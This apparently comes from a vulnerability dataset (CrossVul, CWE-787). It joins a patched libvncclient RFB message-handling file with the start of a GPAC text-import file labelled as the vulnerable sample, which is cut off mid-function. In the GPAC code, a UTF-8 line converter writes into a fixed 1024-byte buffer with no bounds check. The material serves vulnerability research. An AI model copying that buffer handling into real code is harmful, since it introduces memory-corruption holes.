ssm.type = rfbPalmVNCSetScaleFactor; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } return TRUE; } /* * TextChatFunctions (UltraVNC) * Extremely bandwidth friendly method of communicating with a user * (Think HelpDesk type applications) */ rfbBool TextChatSend(rfbClient* client, char *text) { rfbTextChatMsg chat; int count = strlen(text); if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = (uint32_t)count; chat.length = rfbClientSwap32IfLE(chat.length); if (!WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg)) return FALSE; if (count>0) { if (!WriteToRFBServer(client, text, count)) return FALSE; } return TRUE; } rfbBool TextChatOpen(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatOpen); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatClose(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatClose); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatFinish(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatFinished); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } /* * UltraVNC Server Input Disable * Apparently, the remote client can *prevent* the local user from interacting with the display * I would think this is extremely helpful when used in a HelpDesk situation */ rfbBool PermitServerInput(rfbClient* client, int enabled) { rfbSetServerInputMsg msg; if (!SupportsClient2Server(client, rfbSetServerInput)) return TRUE; /* enabled==1, then server input from local keyboard is disabled */ msg.type = rfbSetServerInput; msg.status = (enabled ? 1 : 0); msg.pad = 0; return (WriteToRFBServer(client, (char *)&msg, sz_rfbSetServerInputMsg) ? TRUE : FALSE); } /* * send xvp client message * A client supporting the xvp extension sends this to request that the server initiate * a clean shutdown, clean reboot or abrupt reset of the system whose framebuffer the * client is displaying. * * only version 1 is defined in the protocol specs * * possible values for code are: * rfbXvp_Shutdown * rfbXvp_Reboot * rfbXvp_Reset */ rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code) { rfbXvpMsg xvp; if (!SupportsClient2Server(client, rfbXvp)) return TRUE; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; if (!WriteToRFBServer(client, (char *)&xvp, sz_rfbXvpMsg)) return FALSE; return TRUE; } /* * SendPointerEvent. */ rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask) { rfbPointerEventMsg pe; if (!SupportsClient2Server(client, rfbPointerEvent)) return TRUE; pe.type = rfbPointerEvent; pe.buttonMask = buttonMask; if (x < 0) x = 0; if (y < 0) y = 0; pe.x = rfbClientSwap16IfLE(x); pe.y = rfbClientSwap16IfLE(y); return WriteToRFBServer(client, (char *)&pe, sz_rfbPointerEventMsg); } /* * SendKeyEvent. */ rfbBool SendKeyEvent(rfbClient* client, uint32_t key, rfbBool down) { rfbKeyEventMsg ke; if (!SupportsClient2Server(client, rfbKeyEvent)) return TRUE; memset(&ke, 0, sizeof(ke)); ke.type = rfbKeyEvent; ke.down = down ? 1 : 0; ke.key = rfbClientSwap32IfLE(key); return WriteToRFBServer(client, (char *)&ke, sz_rfbKeyEventMsg); } /* * SendClientCutText. */ rfbBool SendClientCutText(rfbClient* client, char *str, int len) { rfbClientCutTextMsg cct; if (!SupportsClient2Server(client, rfbClientCutText)) return TRUE; memset(&cct, 0, sizeof(cct)); cct.type = rfbClientCutText; cct.length = rfbClientSwap32IfLE(len); return (WriteToRFBServer(client, (char *)&cct, sz_rfbClientCutTextMsg) && WriteToRFBServer(client, str, len)); } /* * HandleRFBServerMessage. */ rfbBool HandleRFBServerMessage(rfbClient* client) { rfbServerToClientMsg msg; if (client->serverPort==-1) client->vncRec->readTimestamp = TRUE; if (!ReadFromRFBServer(client, (char *)&msg, 1)) return FALSE; switch (msg.type) { case rfbSetColourMapEntries: { /* TODO: int i; uint16_t rgb[3]; XColor xc; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbSetColourMapEntriesMsg - 1)) return FALSE; msg.scme.firstColour = rfbClientSwap16IfLE(msg.scme.firstColour); msg.scme.nColours = rfbClientSwap16IfLE(msg.scme.nColours); for (i = 0; i < msg.scme.nColours; i++) { if (!ReadFromRFBServer(client, (char *)rgb, 6)) return FALSE; xc.pixel = msg.scme.firstColour + i; xc.red = rfbClientSwap16IfLE(rgb[0]); xc.green = rfbClientSwap16IfLE(rgb[1]); xc.blue = rfbClientSwap16IfLE(rgb[2]); xc.flags = DoRed|DoGreen|DoBlue; XStoreColor(dpy, cmap, &xc); } */ break; } case rfbFramebufferUpdate: { rfbFramebufferUpdateRectHeader rect; int linesToRead; int bytesPerLine; int i; if (!ReadFromRFBServer(client, ((char *)&msg.fu) + 1, sz_rfbFramebufferUpdateMsg - 1)) return FALSE; msg.fu.nRects = rfbClientSwap16IfLE(msg.fu.nRects); for (i = 0; i < msg.fu.nRects; i++) { if (!ReadFromRFBServer(client, (char *)&rect, sz_rfbFramebufferUpdateRectHeader)) return FALSE; rect.encoding = rfbClientSwap32IfLE(rect.encoding); if (rect.encoding == rfbEncodingLastRect) break; rect.r.x = rfbClientSwap16IfLE(rect.r.x); rect.r.y = rfbClientSwap16IfLE(rect.r.y); rect.r.w = rfbClientSwap16IfLE(rect.r.w); rect.r.h = rfbClientSwap16IfLE(rect.r.h); if (rect.encoding == rfbEncodingXCursor || rect.encoding == rfbEncodingRichCursor) { if (!HandleCursorShape(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h, rect.encoding)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingPointerPos) { if (!client->HandleCursorPos(client,rect.r.x, rect.r.y)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingKeyboardLedState) { /* OK! We have received a keyboard state message!!! */ client->KeyboardLedStateEnabled = 1; if (client->HandleKeyboardLedState!=NULL) client->HandleKeyboardLedState(client, rect.r.x, 0); /* stash it for the future */ client->CurrentKeyboardLedState = rect.r.x; continue; } if (rect.encoding == rfbEncodingNewFBSize) { client->width = rect.r.w; client->height = rect.r.h; client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingSupportedMessages) { int loop; if (!ReadFromRFBServer(client, (char *)&client->supportedMessages, sz_rfbSupportedMessages)) return FALSE; /* msgs is two sets of bit flags of supported messages client2server[] and server2client[] */ /* currently ignored by this library */ rfbClientLog("client2server supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.client2server[loop], client->supportedMessages.client2server[loop+1], client->supportedMessages.client2server[loop+2], client->supportedMessages.client2server[loop+3], client->supportedMessages.client2server[loop+4], client->supportedMessages.client2server[loop+5], client->supportedMessages.client2server[loop+6], client->supportedMessages.client2server[loop+7]); rfbClientLog("server2client supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.server2client[loop], client->supportedMessages.server2client[loop+1], client->supportedMessages.server2client[loop+2], client->supportedMessages.server2client[loop+3], client->supportedMessages.server2client[loop+4], client->supportedMessages.server2client[loop+5], client->supportedMessages.server2client[loop+6], client->supportedMessages.server2client[loop+7]); continue; } /* rect.r.w=byte count, rect.r.h=# of encodings */ if (rect.encoding == rfbEncodingSupportedEncodings) { char *buffer; buffer = malloc(rect.r.w); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } /* buffer now contains rect.r.h # of uint32_t encodings that the server supports */ /* currently ignored by this library */ free(buffer); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingServerIdentity) { char *buffer; buffer = malloc(rect.r.w+1); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } buffer[rect.r.w]=0; /* null terminate, just in case */ rfbClientLog("Connected to Server \"%s\"\n", buffer); free(buffer); continue; } /* rfbEncodingUltraZip is a collection of subrects. x = # of subrects, and h is always 0 */ if (rect.encoding != rfbEncodingUltraZip) { if ((rect.r.x + rect.r.w > client->width) || (rect.r.y + rect.r.h > client->height)) { rfbClientLog("Rect too large: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y); return FALSE; } /* UltraVNC with scaling, will send rectangles with a zero W or H * if ((rect.encoding != rfbEncodingTight) && (rect.r.h * rect.r.w == 0)) { rfbClientLog("Zero size rect - ignoring (encoding=%d (0x%08x) %dx, %dy, %dw, %dh)\n", rect.encoding, rect.encoding, rect.r.x, rect.r.y, rect.r.w, rect.r.h); continue; } */ /* If RichCursor encoding is used, we should prevent collisions between framebuffer updates and cursor drawing operations. */ client->SoftCursorLockArea(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } switch (rect.encoding) { case rfbEncodingRaw: { int y=rect.r.y, h=rect.r.h; bytesPerLine = rect.r.w * client->format.bitsPerPixel / 8; /* RealVNC 4.x-5.x on OSX can induce bytesPerLine==0, usually during GPU accel. */ /* Regardless of cause, do not divide by zero. */ linesToRead = bytesPerLine ? (RFB_BUFFER_SIZE / bytesPerLine) : 0; while (linesToRead && h > 0) { if (linesToRead > h) linesToRead = h; if (!ReadFromRFBServer(client, client->buffer,bytesPerLine * linesToRead)) return FALSE; client->GotBitmap(client, (uint8_t *)client->buffer, rect.r.x, y, rect.r.w,linesToRead); h -= linesToRead; y += linesToRead; } break; } case rfbEncodingCopyRect: { rfbCopyRect cr; if (!ReadFromRFBServer(client, (char *)&cr, sz_rfbCopyRect)) return FALSE; cr.srcX = rfbClientSwap16IfLE(cr.srcX); cr.srcY = rfbClientSwap16IfLE(cr.srcY); /* If RichCursor encoding is used, we should extend our "cursor lock area" (previously set to destination rectangle) to the source rectangle as well. */ client->SoftCursorLockArea(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h); client->GotCopyRect(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, rect.r.x, rect.r.y); break; } case rfbEncodingRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingCoRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleCoRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleCoRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleCoRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingHextile: { switch (client->format.bitsPerPixel) { case 8: if (!HandleHextile8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleHextile16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleHextile32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltra: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltra8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltra16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltra32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltraZip: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltraZip8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltraZip16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltraZip32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingTRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTRLE8(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleTRLE16(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else { if (!HandleTRLE15(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor = (client->format.redMax << client->format.redShift) | (client->format.greenMax << client->format.greenShift) | (client->format.blueMax << client->format.blueShift); if ((client->format.bigEndian && (maxColor & 0xff) == 0) || (!client->format.bigEndian && (maxColor & 0xff000000) == 0)) { if (!HandleTRLE24(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor & 0xff) == 0) { if (!HandleTRLE24Up(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor & 0xff000000) == 0) { if (!HandleTRLE24Down(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!HandleTRLE32(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; } } break; } #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZlib8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleZlib16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleZlib32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTight8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleTight16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleTight32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #endif case rfbEncodingZRLE: /* Fail safe for ZYWRLE unsupport VNC server. */ client->appData.qualityLevel = 9; /* fall through */ case rfbEncodingZYWRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZRLE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleZRLE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else { if (!HandleZRLE15(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor=(client->format.redMax<<client->format.redShift)| (client->format.greenMax<<client->format.greenShift)| (client->format.blueMax<<client->format.blueShift); if ((client->format.bigEndian && (maxColor&0xff)==0) || (!client->format.bigEndian && (maxColor&0xff000000)==0)) { if (!HandleZRLE24(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor&0xff)==0) { if (!HandleZRLE24Up(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor&0xff000000)==0) { if (!HandleZRLE24Down(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!HandleZRLE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } } break; } #endif default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleEncoding && e->handleEncoding(client, &rect)) handled = TRUE; if(!handled) { rfbClientLog("Unknown rect encoding %d\n", (int)rect.encoding); return FALSE; } } } /* Now we may discard "soft cursor locks". */ client->SoftCursorUnlockScreen(client); client->GotFrameBufferUpdate(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } if (!SendIncrementalFramebufferUpdateRequest(client)) return FALSE; if (client->FinishedFrameBufferUpdate) client->FinishedFrameBufferUpdate(client); break; } case rfbBell: { client->Bell(client); break; } case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); if (msg.sct.length > 1<<20) { rfbClientErr("Ignoring too big cut text length sent by server: %u B > 1 MB\n", (unsigned int)msg.sct.length); return FALSE; } buffer = malloc((uint64_t)msg.sct.length+1); if (!ReadFromRFBServer(client, buffer, msg.sct.length)) { free(buffer); return FALSE; } buffer[msg.sct.length] = 0; if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); free(buffer); break; } case rfbTextChat: { char *buffer=NULL; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbTextChatMsg- 1)) return FALSE; msg.tc.length = rfbClientSwap32IfLE(msg.sct.length); switch(msg.tc.length) { case rfbTextChatOpen: rfbClientLog("Received TextChat Open\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatOpen, NULL); break; case rfbTextChatClose: rfbClientLog("Received TextChat Close\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatClose, NULL); break; case rfbTextChatFinished: rfbClientLog("Received TextChat Finished\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatFinished, NULL); break; default: buffer=malloc(msg.tc.length+1); if (!ReadFromRFBServer(client, buffer, msg.tc.length)) { free(buffer); return FALSE; } /* Null Terminate <just in case> */ buffer[msg.tc.length]=0; rfbClientLog("Received TextChat \"%s\"\n", buffer); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)msg.tc.length, buffer); free(buffer); break; } break; } case rfbXvp: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbXvpMsg -1)) return FALSE; SetClient2Server(client, rfbXvp); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbXvp); if(client->HandleXvpMsg) client->HandleXvpMsg(client, msg.xvp.version, msg.xvp.code); break; } case rfbResizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbResizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.rsfb.framebufferWidth); client->height = rfbClientSwap16IfLE(msg.rsfb.framebufferHeigth); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } case rfbPalmVNCReSizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbPalmVNCReSizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.prsfb.buffer_w); client->height = rfbClientSwap16IfLE(msg.prsfb.buffer_h); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleMessage && e->handleMessage(client, &msg)) handled = TRUE; if(!handled) { char buffer[256]; rfbClientLog("Unknown message type %d from VNC server\n",msg.type); ReadFromRFBServer(client, buffer, 256); return FALSE; } } } return TRUE; } #define GET_PIXEL8(pix, ptr) ((pix) = *(ptr)++) #define GET_PIXEL16(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++) #define GET_PIXEL32(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++, \ ((uint8_t*)&(pix))[2] = *(ptr)++, \ ((uint8_t*)&(pix))[3] = *(ptr)++) /* CONCAT2 concatenates its two arguments. CONCAT2E does the same but also expands its arguments if they are macros */ #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define BPP 8 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #undef BPP #define BPP 16 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 15 #include "trle.c" #define REALBPP 15 #include "zrle.c" #undef BPP #define BPP 32 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 24 #include "trle.c" #define REALBPP 24 #include "zrle.c" #define REALBPP 24 #define UNCOMP 8 #include "trle.c" #define REALBPP 24 #define UNCOMP 8 #include "zrle.c" #define REALBPP 24 #define UNCOMP -8 #include "trle.c" #define REALBPP 24 #define UNCOMP -8 #include "zrle.c" #undef BPP /* * PrintPixelFormat. */ void PrintPixelFormat(rfbPixelFormat *format) { if (format->bitsPerPixel == 1) { rfbClientLog(" Single bit per pixel.\n"); rfbClientLog( " %s significant bit in each byte is leftmost on the screen.\n", (format->bigEndian ? "Most" : "Least")); } else { rfbClientLog(" %d bits per pixel.\n",format->bitsPerPixel); if (format->bitsPerPixel != 8) { rfbClientLog(" %s significant byte first in each pixel.\n", (format->bigEndian ? "Most" : "Least")); } if (format->trueColour) { rfbClientLog(" TRUE colour: max red %d green %d blue %d" ", shift red %d green %d blue %d\n", format->redMax, format->greenMax, format->blueMax, format->redShift, format->greenShift, format->blueShift); } else { rfbClientLog(" Colour map (not true colour).\n"); } } } /* avoid name clashes with LibVNCServer */ #define rfbEncryptBytes rfbClientEncryptBytes #define rfbEncryptBytes2 rfbClientEncryptBytes2 #define rfbDes rfbClientDes #define rfbDesKey rfbClientDesKey #define rfbUseKey rfbClientUseKey #include "vncauth.c" #include "d3des.c"
./CrossVul/dataset_final_sorted/CWE-787/c/good_521_0
crossvul-cpp_data_bad_524_0
/* * GPAC - Multimedia Framework C SDK * * Authors: Jean Le Feuvre * Copyright (c) Telecom ParisTech 2000-2012 * All rights reserved * * This file is part of GPAC / Media Tools sub-project * * GPAC is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * GPAC is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; see the file COPYING. If not, write to * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. * */ #include <gpac/constants.h> #include <gpac/utf.h> #include <gpac/xml.h> #include <gpac/token.h> #include <gpac/color.h> #include <gpac/internal/media_dev.h> #include <gpac/internal/isomedia_dev.h> #ifndef GPAC_DISABLE_ISOM_WRITE void gf_media_update_bitrate(GF_ISOFile *file, u32 track); enum { GF_TEXT_IMPORT_NONE = 0, GF_TEXT_IMPORT_SRT, GF_TEXT_IMPORT_SUB, GF_TEXT_IMPORT_TTXT, GF_TEXT_IMPORT_TEXML, GF_TEXT_IMPORT_WEBVTT, GF_TEXT_IMPORT_TTML, GF_TEXT_IMPORT_SWF_SVG, }; #define REM_TRAIL_MARKS(__str, __sep) while (1) { \ u32 _len = (u32) strlen(__str); \ if (!_len) break; \ _len--; \ if (strchr(__sep, __str[_len])) __str[_len] = 0; \ else break; \ } \ s32 gf_text_get_utf_type(FILE *in_src) { u32 read; unsigned char BOM[5]; read = (u32) fread(BOM, sizeof(char), 5, in_src); if ((s32) read < 1) return -1; if ((BOM[0]==0xFF) && (BOM[1]==0xFE)) { /*UTF32 not supported*/ if (!BOM[2] && !BOM[3]) return -1; gf_fseek(in_src, 2, SEEK_SET); return 3; } if ((BOM[0]==0xFE) && (BOM[1]==0xFF)) { /*UTF32 not supported*/ if (!BOM[2] && !BOM[3]) return -1; gf_fseek(in_src, 2, SEEK_SET); return 2; } else if ((BOM[0]==0xEF) && (BOM[1]==0xBB) && (BOM[2]==0xBF)) { gf_fseek(in_src, 3, SEEK_SET); return 1; } if (BOM[0]<0x80) { gf_fseek(in_src, 0, SEEK_SET); return 0; } return -1; } static GF_Err gf_text_guess_format(char *filename, u32 *fmt) { char szLine[2048]; u32 val; s32 uni_type; FILE *test = gf_fopen(filename, "rb"); if (!test) return GF_URL_ERROR; uni_type = gf_text_get_utf_type(test); if (uni_type>1) { const u16 *sptr; char szUTF[1024]; u32 read = (u32) fread(szUTF, 1, 1023, test); if ((s32) read < 0) { gf_fclose(test); return GF_IO_ERR; } szUTF[read]=0; sptr = (u16*)szUTF; /*read = (u32) */gf_utf8_wcstombs(szLine, read, &sptr); } else { val = (u32) fread(szLine, 1, 1024, test); if ((s32) val<0) return GF_IO_ERR; szLine[val]=0; } REM_TRAIL_MARKS(szLine, "\r\n\t ") *fmt = GF_TEXT_IMPORT_NONE; if ((szLine[0]=='{') && strstr(szLine, "}{")) *fmt = GF_TEXT_IMPORT_SUB; else if (szLine[0] == '<') { char *ext = strrchr(filename, '.'); if (!strnicmp(ext, ".ttxt", 5)) *fmt = GF_TEXT_IMPORT_TTXT; else if (!strnicmp(ext, ".ttml", 5)) *fmt = GF_TEXT_IMPORT_TTML; ext = strstr(szLine, "?>"); if (ext) ext += 2; if (ext && !ext[0]) { if (!fgets(szLine, 2048, test)) szLine[0] = '\0'; } if (strstr(szLine, "x-quicktime-tx3g") || strstr(szLine, "text3GTrack")) *fmt = GF_TEXT_IMPORT_TEXML; else if (strstr(szLine, "TextStream")) *fmt = GF_TEXT_IMPORT_TTXT; else if (strstr(szLine, "tt")) *fmt = GF_TEXT_IMPORT_TTML; } else if (strstr(szLine, "WEBVTT") ) *fmt = GF_TEXT_IMPORT_WEBVTT; else if (strstr(szLine, " --> ") ) *fmt = GF_TEXT_IMPORT_SRT; /* might want to change the default to WebVTT */ gf_fclose(test); return GF_OK; } #define TTXT_DEFAULT_WIDTH 400 #define TTXT_DEFAULT_HEIGHT 60 #define TTXT_DEFAULT_FONT_SIZE 18 #ifndef GPAC_DISABLE_MEDIA_IMPORT void gf_text_get_video_size(GF_MediaImporter *import, u32 *width, u32 *height) { u32 w, h, f_w, f_h, i; GF_ISOFile *dest = import->dest; if (import->text_track_width && import->text_track_height) { (*width) = import->text_track_width; (*height) = import->text_track_height; return; } f_w = f_h = 0; for (i=0; i<gf_isom_get_track_count(dest); i++) { switch (gf_isom_get_media_type(dest, i+1)) { case GF_ISOM_MEDIA_SCENE: case GF_ISOM_MEDIA_VISUAL: case GF_ISOM_MEDIA_AUXV: case GF_ISOM_MEDIA_PICT: gf_isom_get_visual_info(dest, i+1, 1, &w, &h); if (w > f_w) f_w = w; if (h > f_h) f_h = h; gf_isom_get_track_layout_info(dest, i+1, &w, &h, NULL, NULL, NULL); if (w > f_w) f_w = w; if (h > f_h) f_h = h; break; } } (*width) = f_w ? f_w : TTXT_DEFAULT_WIDTH; (*height) = f_h ? f_h : TTXT_DEFAULT_HEIGHT; } void gf_text_import_set_language(GF_MediaImporter *import, u32 track) { if (import->esd && import->esd->langDesc) { char lang[4]; lang[0] = (import->esd->langDesc->langCode>>16) & 0xFF; lang[1] = (import->esd->langDesc->langCode>>8) & 0xFF; lang[2] = (import->esd->langDesc->langCode) & 0xFF; lang[3] = 0; gf_isom_set_media_language(import->dest, track, lang); } } #endif char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicode_type) { u32 i, j, len; char *sOK; char szLineConv[1024]; unsigned short *sptr; memset(szLine, 0, sizeof(char)*lineSize); sOK = fgets(szLine, lineSize, txt_in); if (!sOK) return NULL; if (unicode_type<=1) { j=0; len = (u32) strlen(szLine); for (i=0; i<len; i++) { if (!unicode_type && (szLine[i] & 0x80)) { /*non UTF8 (likely some win-CP)*/ if ((szLine[i+1] & 0xc0) != 0x80) { szLineConv[j] = 0xc0 | ( (szLine[i] >> 6) & 0x3 ); j++; szLine[i] &= 0xbf; } /*UTF8 2 bytes char*/ else if ( (szLine[i] & 0xe0) == 0xc0) { szLineConv[j] = szLine[i]; i++; j++; } /*UTF8 3 bytes char*/ else if ( (szLine[i] & 0xf0) == 0xe0) { szLineConv[j] = szLine[i]; i++; j++; szLineConv[j] = szLine[i]; i++; j++; } /*UTF8 4 bytes char*/ else if ( (szLine[i] & 0xf8) == 0xf0) { szLineConv[j] = szLine[i]; i++; j++; szLineConv[j] = szLine[i]; i++; j++; szLineConv[j] = szLine[i]; i++; j++; } else { i+=1; continue; } } szLineConv[j] = szLine[i]; j++; } 